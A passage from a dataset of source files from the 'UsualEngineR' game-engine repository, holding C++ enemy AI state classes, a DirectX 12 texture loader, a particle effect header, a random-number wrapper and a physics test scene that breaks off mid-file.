"text": "#pragma once\n#include \"../IEnemyState.h\"\n\nclass EnemyMeleeIdleState : public IEnemyState\n{\npublic:\n\tEnemyMeleeIdleState();\n\tvirtual ~EnemyMeleeIdleState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\n\tvirtual void OnAttacked(IEnemy* e) override;\nprivate:\n\tconst float m_Stamina_recovery_param = 1.f;\n\tbool m_isAttacked = false;\n};"
},
{
"alpha_fraction": 0.6687993407249451,
"alphanum_fraction": 0.6798890829086304,
"avg_line_length": 20.9158878326416,
"blob_id": "720d5c1fee70ded5ae2966104c0d5a2674ae1b36",
"content_id": "cc62e0daddaa02a7e19df228c1f0f4dd2484f75c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5443,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 214,
"path": "/Game/Enemy/State/LongBigState/EnemyLongBigAttackState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyLongBigAttackState.h\"\n#include \"EnemyLongBigTargetingState.h\"\n#include \"Enemy/Zako/Zako_LongBig.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Equipment/Enemy_Bullet.h\"\n#include \"Effect/MuzzleFlash.h\"\n#include \"Effect/Beam.h\"\n\n#define BULLET 0;\n#define BEAM 1;\n\n\nEnemyLongBigAttackState::~EnemyLongBigAttackState()\n{\n#if BULLET\n\tDeleteGO(m_muzzleFlash);\n#elif BEAM\n\tDeleteGO(m_beam);\n#endif\n}\n\nvoid EnemyLongBigAttackState::Init(IK* ik, float bulletSpeed, EnemyLongBigTargetingState* lbt)\n{\n#if BULLET\n\tm_ik = ik;\n\tm_speed = bulletSpeed;\n\tm_lbt = lbt;\n\tm_muzzleFlash = NewGO<MuzzleFlash>(0);\n\tMuzzleFlashEffectInitData mfid;\n\tm_muzzleFlash->Init(mfid);\n\tm_muzzleFlash->SetSca(Vector3::One * 0.1);\n#elif BEAM\n\tm_lbt = lbt;\n\tm_beam = NewGO<Beam>(0);\n\tBeamEffectInitData bid;\n\tm_beam->Init(bid);\n\tm_beam->SetSca(Vector3::One * 0.03);\n#endif\n}\n\nvoid EnemyLongBigAttackState::Enter(IEnemy* e)\n{\n\tm_timer = 0.f;\n\tm_shotCount = 0;\n\n\tm_velocity = m_target - e->GetPosition();\n\tm_velocity.Normalize();\n\n\te->PlayAnimation(TO_INT(Zako_LongBig::EnAnimEX::Fire));\n}\n\nIEnemyState* EnemyLongBigAttackState::Update(IEnemy* e)\n{\n#if BULLET\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += dtime;\n\tm_ik->SetNextTarget(m_target);\n\n\tif (m_timer > 2.f)\n\t\treturn m_lbt;\n\t//時間になったら弾を発射。\n\tif (m_timer >= m_timeSpan && m_shotCount < m_maxShot)\n\t{\n\t\tEnemy_Bullet* eb = NewGO<Enemy_Bullet>(0, true);\n\t\tauto bone = m_ik->GetEffectorBone();\n\t\tconst auto& mat = bone->GetWorldMatrix();\n\t\tauto p = mat.GetTransrate();\n\t\tauto rot = mat.GetRotate();\n\n\t\tm_muzzleFlash->Play();\n\t\tm_muzzleFlash->SetPos(p);\n\t\tm_muzzleFlash->SetRot(rot);\n\n\n\t\t//p.y += 10.;\n\t\teb->Init(p, 0.25f, m_velocity, m_speed, 5, 1);\n\t\teb->SetDamage(Player::GetMaxHP() / 60.f / 9.f);\n\t\tm_timer = 0.f;\n\t\tm_shotCount++;\n\t\tif (m_shotCount >= m_maxShot)\n\t\t{\n\t\t\t//return m_ldt;\n\t\t}\n\t}\n\treturn this;\n#elif BEAM\n\tif (Charge(e)) {\n\t\tm_endBeamTimer += gameTime()->GetDeltaTime();\n\t\tconst float endTime = 1.f;\t\t//撃っている時間。\n\t\tif (m_endBeamTimer < endTime) {\n\t\t\t//ビームを撃つ方向を設定。\n\t\t\tif (!m_isSetPos) {\n\t\t\t\tauto& p = GameManager::GetInstance().m_player;\n\t\t\t\tm_position = p->GetPosition();\n\t\t\t\tm_isSetPos = true;\n\t\t\t}\n\t\t\t//攻撃判定。\n\t\t\tif (BeamJudge(e)) {\n\t\t\t\t//プレイヤーが飛んでいたら撃ち落とす。\n\t\t\t\tconst float flyRange = 5.f;\n\t\t\t\tauto epos = e->GetPosition();\n\t\t\t\tauto& p = GameManager::GetInstance().m_player;\n\t\t\t\tauto ppos = p->GetPosition();\n\t\t\t\tif (std::abs(ppos.y - epos.y) > flyRange) {\n\t\t\t\t\tp->ApplyDamage(m_damage, true, Vector3::Zero);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tp->ApplyDamage(m_damage);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\treturn m_lbt;\n\t\t}\n\t}\n\treturn this;\n#endif\n}\n\nvoid EnemyLongBigAttackState::Exit(IEnemy* e)\n{\n}\n\nbool EnemyLongBigAttackState::Charge(IEnemy* e)\n{\n\tconst float chargeTime = 1.f;\t\t//溜めている時間。\n\tm_chargeTimer += gameTime()->GetDeltaTime();\n\tif (m_chargeTimer > chargeTime) {\n\t\treturn true;\n\t}\n\n\t//エフェクトの設定。\n\t//エフェクトを溜め状態に設定。\n\tm_beam->SetChange(true);\n\n\t//大きさを小さめに設定。\n\tm_beam->SetSca(Vector3::One * 0.03);\n\n\tm_beam->SetPos(e->GetPosition());\n\n\t//モデルからプレイヤーまでの方向を設定。\n\tauto& p = GameManager::GetInstance().m_player;\n\tconst auto& ppos = p->GetPosition();\n\tVector3 vecEtoP = ppos - e->GetPosition();\n\tm_beam->SetToPlayerDir(vecEtoP);\n\n\t//外積。直行した縦のベクトル。\n\tVector3 EHeight;\n\tEHeight.Cross(vecEtoP, Vector3::Right);\n\tEHeight.Normalize();\n\tm_beam->SetHolizontalDir(EHeight);\n\n\t//エフェクトの再生。\n\tm_beam->Play();\n\n\t//モデルがプレイヤーの方向を向くように設定。\n\t//横回転。\n\tfloat angleW = atan2(vecEtoP.x, vecEtoP.z);\n\tQuaternion rot;\n\trot.SetRotation(Vector3::AxisY, angleW);\n\te->GetModel()->SetRotation(rot);\n\treturn false;\n}\n\nbool EnemyLongBigAttackState::BeamJudge(IEnemy* e)\n{\n\t//エフェクトの溜め状態を解除。\n\tm_beam->SetChange(false);\n\t//大きさを大きめに設定。\n\tm_beam->SetSca(Vector3::One * 0.3);\n\n\t//ビームの幅の判定。\n\t//敵からプレイヤーに向かうベクトル。\n\t//m_positionは最初にロックオンしたときのプレイヤーの位置。\n\n\tVector3 vecEtoP = m_position - e->GetPosition();\n\tm_beam->SetToPlayerDir(vecEtoP);\n\n\t//外積。横方向に伸びた、VecPtoEに直行するベクトル。\n\tVector3 EWidth;\n\tEWidth.Cross(vecEtoP, Vector3::Up);\n\tEWidth.Normalize();\n\n\t//外積。縦方向に伸びた、VecPtoEに直行するベクトル。\n\tVector3 EHeight;\n\tEHeight.Cross(vecEtoP, Vector3::Right);\n\tEHeight.Normalize();\n\n\t//pposは現在のプレイヤーの位置。\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto& ppos = p->GetPosition();\n\tVector3 vecEtoCurrentP = ppos - e->GetPosition();\n\n\t//プレイヤーと敵を横に並べたと仮定したときの距離。\n\tfloat dirW = EWidth.Dot(vecEtoCurrentP);\n\n\t//プレイヤーと敵を縦に並べたと仮定したときの距離。\n\tfloat dirH = EHeight.Dot(vecEtoCurrentP);\n\n\t//正面にいるかどうか判定するための内積。\n\t//マイナスだったら後ろ。\n\tfloat front = vecEtoP.Dot(vecEtoCurrentP);\n\n\tm_beam->Play();\n\tm_beam->SetPos(e->GetPosition());\n\n\tconst float beamWidth = 15.0f;\t\t//ビームの幅。\n\tif (std::abs(dirW) < beamWidth and std::abs(dirH) < beamWidth and front > 0) {\n\t\treturn true;\n\t}\n\treturn false;\n}"
},
{
"alpha_fraction": 0.6192781925201416,
"alphanum_fraction": 0.6346830725669861,
"avg_line_length": 18.100839614868164,
"blob_id": "d9672f72e1a29c9d7fc1ed16c363d246f8846665",
"content_id": "e90da49b6fcb1a6c5ecffdecaf3d63aedd84d212",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2304,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 119,
"path": "/UsualEngineR/Graphics/TextureManager.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"TextureManager.h\"\n\n\n\n\nnamespace UER\n{\n\tTextureManager::~TextureManager()\n\t{\n\t\tRelease();\n\t}\n\tvoid TextureManager::Release()\n\t{\n\t\tfor (auto d : m_textureDic)\n\t\t{\n\t\t\td.second.texture->Release();\n\t\t}\n\t\tm_textureDic.clear();\n\t}\n\tID3D12Resource* TextureManager::Load(const wchar_t* path)\n\t{\n\t\tID3D12Resource* res = nullptr;\n\t\tint hash = Util::MakeHash(path);\n\t\tm_loadMutex.lock();\n\t\tauto it = m_textureDic.find(hash);\n\t\tif (it == m_textureDic.end())\n\t\t{\n\t\t\tFileData fdata;\n\t\t\tm_textureDic.insert(std::make_pair(hash, fdata));\n\t\t\tm_loadMutex.unlock();\n\n\t\t\tauto device = g_graphicsEngine->GetD3DDevice();\n\t\t\tDirectX::ResourceUploadBatch re(device);\n\t\t\tre.Begin();\n\t\t\tID3D12Resource* texture;\n\t\t\tauto hr = DirectX::CreateDDSTextureFromFileEx(\n\t\t\t\tdevice,\n\t\t\t\tre,\n\t\t\t\tpath,\n\t\t\t\t0,\n\t\t\t\tD3D12_RESOURCE_FLAG_NONE,\n\t\t\t\t0,\n\t\t\t\t&texture\n\t\t\t);\n\t\t\tre.End(g_graphicsEngine->GetCommandQueue());\n\t\t\t\n\t\t\t\n\t\t\tm_textureDic.at(hash).isLoaded = true;\n\t\t\tm_textureDic.at(hash).texture = texture;\n\n\t\t\tres = texture;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_loadMutex.unlock();\n\t\t\tconst FileData& fd = m_textureDic.at(hash);\n\t\t\twhile (!fd.isLoaded)\n\t\t\t{\n\t\t\t\tSleep(10);\n\t\t\t}\n\t\t\tres = fd.texture;\n\t\t}\n\n\t\treturn res;\n\t}\n\tID3D12Resource* TextureManager::Load(const char* memory, UINT size, const wchar_t* path)\n\t{\n\t\tID3D12Resource* res = nullptr;\n\t\tint hash = Util::MakeHash(path);\n\t\tm_loadMutex.lock();\n\t\tauto it = m_textureDic.find(hash);\n\t\tif (it == m_textureDic.end())\n\t\t{\n\t\t\tFileData fdata;\n\t\t\tm_textureDic.insert(std::make_pair(hash, fdata));\n\t\t\tm_loadMutex.unlock();\n\n\t\t\tauto device = g_graphicsEngine->GetD3DDevice();\n\t\t\tDirectX::ResourceUploadBatch re(device);\n\t\t\tre.Begin();\n\t\t\tID3D12Resource* texture;\n\t\t\tauto hr = DirectX::CreateDDSTextureFromMemoryEx(\n\t\t\t\tdevice,\n\t\t\t\tre,\n\t\t\t\t(const uint8_t*)memory,\n\t\t\t\tsize,\n\t\t\t\t0,\n\t\t\t\tD3D12_RESOURCE_FLAG_NONE,\n\t\t\t\t0,\n\t\t\t\t&texture\n\t\t\t);\n\t\t\tre.End(g_graphicsEngine->GetCommandQueue());\n\n\t\t\tif (FAILED(hr)) {\n\t\t\t\t//テクスチャの作成に失敗しました。\n\t\t\t\treturn nullptr;\n\t\t\t}\n\n\n\t\t\tm_textureDic.at(hash).isLoaded = true;\n\t\t\tm_textureDic.at(hash).texture = texture;\n\n\t\t\tres = texture;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_loadMutex.unlock();\n\t\t\tconst FileData& fd = m_textureDic.at(hash);\n\t\t\twhile (!fd.isLoaded)\n\t\t\t{\n\t\t\t\tSleep(10);\n\t\t\t}\n\t\t\tres = fd.texture;\n\t\t}\n\n\t\treturn res;\n\t}\n}"
},
{
"alpha_fraction": 0.697568416595459,
"alphanum_fraction": 0.7203647494316101,
"avg_line_length": 19.5625,
"blob_id": "0a50f6509ed3c1c3f71c861b74daee2570d357d4",
"content_id": "a67843026e51ab697bc612bde37cdb35950d4caf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 658,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 32,
"path": "/Game/Enemy/State/MiddleBombState/BossBombBattleState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombBattleState final : public IEnemyState\n{\npublic:\n\tBossBombBattleState();\n\t~BossBombBattleState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tfloat m_timer = 0.f;\n\tfloat m_timeLimit = 2.f;\n\tfloat m_timeRotate = 0.5f;\n\n\tfloat m_timerRollingDistance = 0.f;\n\tfloat m_timeRollingDistance = 1.f;\n\n\tbool m_isAngry = false;\n\n\tfloat m_distance = 50.f;\n\tfloat m_distanceBash = 30.f;\n\tfloat m_distanceRolling = 10.f;\n\tfloat m_speed = 500.f;\n\n\tQuaternion m_firstRot;\n\n\tbool m_isPerformed = false;\n\n};\n"
},
{
"alpha_fraction": 0.7248157262802124,
"alphanum_fraction": 0.7420147657394409,
"avg_line_length": 22.941177368164062,
"blob_id": "19d2e92784473b76bf8d1b72f043452de5dbeb32",
"content_id": "74ce1ca02321a34b4e8961f7ec24b0837d3c83f9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 407,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 17,
"path": "/Game/Enemy/State/MiddleBombState/BossBombStunState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombStunState final : public IEnemyState\n{\npublic:\n\tBossBombStunState();\n\t~BossBombStunState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_velDirXZ = Vector3::Zero;\n\tfloat m_friction = 100.f;\n};\n"
},
{
"alpha_fraction": 0.660988986492157,
"alphanum_fraction": 0.6692307591438293,
"avg_line_length": 17.95833396911621,
"blob_id": "dd870c21f0b455947dd277c8a63ef0208ddbc52e",
"content_id": "164a8a3af4dcccec9021807c04887983c87ff9cf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2154,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 96,
"path": "/Game/Effect/JetEffect.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Effect/ParticleEffect.h\"\n\n/// <summary>\n/// \n/// </summary>\nclass JetEffect :public GameObject\n{\npublic:\n\tJetEffect();\n\tvirtual ~JetEffect();\n\n\tstruct JetEffectInitParam {\n\t\tfloat effectScale;\n\t\tfloat effectScale_inv;\n\t\tfloat particleScale;\n\t\tfloat particleLifeTime;\n\t\tfloat particleYUp;\n\t};\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid Init(const JetEffectInitParam&);\n\n\tvoid SetPosition(const Vector3& pos) {\n\t\tm_pos = pos;\n\t}\n\n\tvoid SetRotation(const Quaternion& rot) {\n\t\tm_rot = rot;\n\t}\n\n\tvoid SetGenerateFlag(const bool generateFlag) {\n\t\tm_particleEffect->SetGenerateFlag(generateFlag);\n\t}\n\n\tvoid SetScale(const float scale) {\n\t\tEFFECT_SCALE = scale;\n\t}\n\nprivate:\n\tPlaneParticleEffectRender* m_particleEffect = nullptr;\n\tVector3 m_pos = Vector3::Zero;\n\tfloat m_effectScale =1.f;\n\tfloat PARTICLE_Y_UP = 300.f;\n\tfloat PARTICLE_LIFE_TIME = 1.f;\n\tfloat EFFECT_SCALE = 10.f;\n\tfloat EFFECT_SCALE_INV = 0.1f;\n\tfloat PARTICLE_SCALE = 1.f;\n\tQuaternion m_rot = Quaternion::Identity;\n\tVector3 m_oldPos = Vector3::Zero;\n};\n"
},
{
"alpha_fraction": 0.7708333134651184,
"alphanum_fraction": 0.7708333134651184,
"avg_line_length": 23.5,
"blob_id": "7dc94a8875f8943bda80514ef464f840aa289b17",
"content_id": "4b5d88dea9e799dc57aed749f1c16e99fec7711f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 48,
"license_type": "no_license",
"max_line_length": 24,
"num_lines": 2,
"path": "/UsualEngineR/Graphics/Light/LightStruct.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"LightStruct.h\""
},
{
"alpha_fraction": 0.5353748798370361,
"alphanum_fraction": 0.5459345579147339,
"avg_line_length": 14.047618865966797,
"blob_id": "f20f4e795b626322243f88a2e3048a769ca44cfc",
"content_id": "933a21b6dd7c5e6bd19157f5dbd7dc8eeb31c5f2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1107,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 63,
"path": "/UsualEngineR/math/Random.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include <random>\n\n\nnamespace UER\n{\n\tclass GameRandom\n\t{\n\tpublic:\n\t\tstatic GameRandom& Get()\n\t\t{\n\t\t\tstatic GameRandom rand;\n\t\t\treturn rand;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// 初期か。\n\t\t/// </summary>\n\t\t/// <param name=\"seed\"></param>\n\t\tvoid Init(UINT seed);\n\n\t\t/// <summary>\n\t\t/// 0~1の乱数を返すよ\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tdouble Rand()\n\t\t{\n\t\t\treturn double(m_engine())/double(m_max);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// 乱数で生成される最大値。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tUINT Max() const\n\t\t{\n\t\t\treturn m_max;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// 乱数で生成される最小値。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tUINT Min() const\n\t\t{\n\t\t\treturn m_min;\n\t\t}\n\tprivate:\n\t\tstd::mt19937 m_engine;\t// メルセンヌッ!!ツイスタァアアアァアァァ!!!\n\t\tUINT m_seed = 0;\t\t// シード地。\n\t\tUINT m_min = 0;\t\t\t// 最大。\n\t\tUINT m_max = 0;\t\t\t// 最小。\n\t};\n\t/// <summary>\n\t/// 乱数生成器。(メルセンヌツイスター)\n\t/// </summary>\n\t/// <returns></returns>\n\tstatic GameRandom& GRandom()\n\t{\n\t\treturn GameRandom().Get();\n\t}\n}"
},
{
"alpha_fraction": 0.6224175095558167,
"alphanum_fraction": 0.6623497009277344,
"avg_line_length": 25.85714340209961,
"blob_id": "086c382e7eaf4e80184fb384d287b3b6dcce786a",
"content_id": "d79c3084cb98e24239b05c9036be9150dac77d23",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 13188,
"license_type": "no_license",
"max_line_length": 128,
"num_lines": 483,
"path": "/Game/Test/Test.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Test.h\"\n#include \"ThreadTest.h\"\n\n\n#include \"Effect/ExplosionEffect.h\"\n\n\nstruct SweepResult : public btCollisionWorld::ConvexResultCallback\n{\n\tbool isHit = false;\n\tVector3 hitPos = Vector3::Zero;\n\tconst Vector3& startPos;\n\tfloat dist = FLT_MAX;\n\tint collAttr = enCollisionAttr_None;\n\tbtCollisionObject* hitColl = nullptr;\n\n\tSweepResult(const Vector3& v) :\n\t\tstartPos(v)\n\t{\n\n\t}\n\n\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t{\n\t\tint index = convexResult.m_hitCollisionObject->getUserIndex();\n\t\t//キャラコンでもグラウンドでもない場合早期出社。\n\t\tif (!(index & enCollisionAttr_Character\n\t\t\t|| index & enCollisionAttr_Ground))\n\t\t{\n\t\t\t//return 0.f;\n\t\t}\n\n\t\tisHit = true;\n\t\tVector3 hitp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\tVector3 div = startPos - hitp;\n\t\tfloat dis = div.Length();\n\t\tif (dis < dist)\n\t\t{\n\t\t\thitPos = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\tdist = dis;\n\t\t\tcollAttr = index;\n\t\t\thitColl = (btCollisionObject*)convexResult.m_hitCollisionObject;\n\t\t}\n\t\treturn 0.0f;\n\t}\n};\n\nvoid Test::Release()\n{\n\tPhysics().RemoveRigidBody(m_rb);\n}\n\nvoid Test::OnDestroy()\n{\n}\n\nvoid Test::Awake()\n{\n\tCSoundSource* se = NewGO<CSoundSource>(0);\n\tse->Init(L\"Assets/sound/kick-low1.wav\");\n\t{\n\t\tauto cam = g_lockCamera3D.Get();\n\t\tcam->SetPosition({ 0,20,10 });\n\t\tcam->SetTarget({ 0,0,0 });\n\t}\n\t//se->Play(true);\n\n\tm_boxTest1.Create({ 10,10,10 });\n\tm_boxText2.Create({ 1,2.5,1 });\n\tRigidBodyInfo rbinfo;\n\trbinfo.collider = &m_boxTest1;\n\trbinfo.pos = { 0,30,0 };\n\tm_rigid_Test1.Create(rbinfo);\n\tPhysics().AddRigidBody(m_rigid_Test1);\n\trbinfo.collider = &m_boxText2;\n\trbinfo.pos = { 0,60,0 };\n\tm_rigid_Test2.Create(rbinfo);\n\tPhysics().AddRigidBody(m_rigid_Test2);\n\n\t/*m_threadObj.Execute([&]()\n\t\t{\n\t\t\tm_threadTest = NewGO<ThreadTest>(0);\n\t\t});*/\n\t\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test_criss.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\n\tm_physicsModel = NewGO<ModelRender>(0);\n\t\n\tm_physicsModel->Init(mid);\n\tm_physicsModel->SetPosition({ 0,0,0 });\n\t\n\tm_pso.CreateMeshObject(m_physicsModel->GetModel(),m_physicsModel->GetPosition(),g_quatIdentity,g_vec3One);\n\t\n\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\tm_pModel = NewGO<ModelRender>(0);\n\tm_pModel->Init(mid);\n\tm_pModel->SetPosition({ 0,500,0 });\n\tm_pModel->SetScale(g_vec3One);\n\n\n\tMatrix tra, sca, rot;\n\ttra.MakeTranslation(m_pModel->GetPosition());\n\t//tra = g_matIdentity;\n\tsca.MakeScaling(m_pModel->GetScale());\n\trot.MakeRotationFromQuaternion(m_pModel->GetRotation());\n\n\tMatrix mat;\n\tmat.Multiply(sca, rot);\n\tmat.Multiply(mat, tra);\n\n\tm_meshColl.CreateFromSkinModel(m_pModel->GetModel(),&mat);\n\tm_sphere.Create(1);\n\tm_box.Create(m_pModel->GetScale() *2.f);\n\tRigidBodyInfo info;\n\tinfo.collider = &m_box;\n\tinfo.mass = 1;\n\tinfo.pos = m_pModel->GetPosition();\n\t\n\tm_rb.Create(info);\n\tPhysics().AddRigidBody(m_rb);\n\n\tm_chara = NewGO<ModelRender>(0);\n\tm_chara->Init(mid);\n\tm_chara->SetPosition({ 10,100,0 });\n\tm_characon.Init(1, 2, m_chara->GetPosition(), true);\n\n\t//m_3dSprite = NewGO<SpriteRender>(0);\n\t//SpriteInitData sd;\n\t//sd.m_ddsFilePath[0] = \"Assets/Image/sample.dds\";\n\t//sd.m_height = 50;\n\t//sd.m_width = 50;\n\t//m_3dSprite->Init(sd);\n\t//m_3dSprite->MainCameraView();\n\t//m_3dSprite->CameraScaleLock();\n\t//m_3dSprite->Mode_BillBord();\n\t//m_3dSprite->SetPos({ 50,10,0 });\n\t//m_3dSprite->SetPivot({ 0,0 });\n\t//m_3dSprite->SetSca(g_vec3One * 0.001f);\n\n\t//m_3dSprite = NewGO<SpriteRender>(1);\n\t//m_3dSprite->Init(sd);\n\t//m_3dSprite->MainCameraView();\n\t////m_3dSprite->CameraScaleLock();\n\t//m_3dSprite->Mode_BillBord();\n\t//m_3dSprite->SetPos({ 50,10,0 });\n\t//m_3dSprite->SetPivot({ 0,0 });\n\n\t//m_3dSprite->SetSca(g_vec3One * 0.1f);\n\n\n\tPlaneParticleEffectInitData pid;\n\tpid.m_ddsFilePath = L\"Assets/Image/illumination.dds\";\n\tpid.m_height = 10;\n\tpid.m_width = 10;\n\tpid.m_extendDataSize = sizeof(float);\n\tpid.m_isBillboard = true;\n\t//pid.m_isBillboard = false;\n\t//pid.m_isDepthTest = false;\n\tPlaneParticleUpdater m_effctUpdater(\n\t\t[&]PLANE_PARTICLE_GENERATE_FUNC(pThis,deltaTime)\n\t\t{\n\t\t\tstatic float time = 0;\n\t\t\tif (time >= 0.01f)\n\t\t\t{\n\t\t\t\t//Matrix m = g_matIdentity;\n\t\t\t\t//pThis->AddParticle(m, { 1,1,1,1 }, 10);\n\t\t\t\tfor (int _i = 0; _i <3; _i++)\n\t\t\t\t{\n\t\t\t\t\tfloat i = GRandom().Rand();\n\t\t\t\t\tpThis->AddParticle(g_vec3Zero, g_vec3One, g_quatIdentity, { 3,2.f,0.3,1 }, 10, i);\n\t\t\t\t}\n\t\t\t\ttime = 0;\n\t\t\t}\n\t\t\ttime += deltaTime;\n\t\t},\n\t\t[&]PLANE_PARTICLE_UPDATE_FUNC(data,deltaTime,extendData)\n\t\t{\n\t\t\tauto s = *(float*)extendData;\n\t\t\tdata.particleData.pos.y += 30.f * deltaTime;\n\n\t\t\tfloat n = GPerlinNoise2D().GenerateNoise({ s*10, data.particleData.pos.y / 10.f });\n\t\t\tfloat m = GPerlinNoise2D().GenerateNoise({ data.particleData.pos.y / 10.f, s*10 });\n\t\t\tdata.particleData.pos.x = n * 500.f * deltaTime;\n\t\t\tdata.particleData.pos.z = m * 500.f * deltaTime;\n\t\t\tdata.particleData.sca = g_vec3One * min((data.lifeTime / 10.f)+0.1f,1.f);\n\n\t\t\tVector3 col;\n\t\t\tcol.Lerp(data.lifeTime / 10.f, { 3,0.1f,0.0 }, { 3,1.5f,0.3 });\n\t\t\tdata.particleData.mulColor.Set(col);\n\t\t\tdata.particleData.mulColor.a = data.lifeTime / 10.f;\n\t\t\t\n\t\t});\n\tpid.m_updater = &m_effctUpdater;\n\tm_effect = NewGO<PlaneParticleEffectRender>(0);\n\tm_effect->Init(pid);\n\tm_effect->SetPos({ 0,0,50 });\n\tm_effect->SetSca(g_vec3One * 0.1);\n\tm_effect_2 = NewGO<PlaneParticleEffectRender>(0);\n\tm_effect_2->Init(pid);\n\tm_effect_2->SetPos({ 0,0,50 });\n\tm_effect_2->SetSca(g_vec3One * 0.1);\n\tfor (int i = 0; i < 4; i++)\n\t{\n\t\tm_effects[i] = NewGO<PlaneParticleEffectRender>(0);\n\t\tm_effects[i]->Init(pid);\n\t\tm_effects[i]->SetSca(g_vec3One * 0.05);\n\t}\n\n\tQuaternion effrot;\n\teffrot.SetRotationDegZ(30);\n\t//effect->SetRot(effrot);\n\n\tm_vol_box = NewGO<VolumetricEffectRender>(0);\n\t//volEff->Init(\"Assets/modelData/test/sphere.tkm\");\n\tm_vol_box->Init(\"Assets/modelData/test/test.tkm\");\n\tm_vol_box->SetPos({ 80,70,50 });\n\tm_vol_box->SetSca({ 50,50,50 });\n\t{\n\t\tauto& fd = m_vol_box->GetFogData();\n\t\tfd.concentration = 0.05;\n\t\tfd.decayCenterToXZ = 0.02f;\n\t\tfd.decayCenterToY = 0.02f;\n\t\tfd.ratioParlinWorley = 1.f;\n\t}\n\tm_vol_sphere = NewGO<VolumetricEffectRender>(0);\n\tm_vol_sphere->Init(\"Assets/modelData/test/sphere.tkm\");\n\t//volEff->Init(\"Assets/modelData/test/test.tkm\");\n\tm_vol_sphere->SetPos({ -80,50,-50 });\n\tm_vol_sphere->SetSca({ 50,50,50 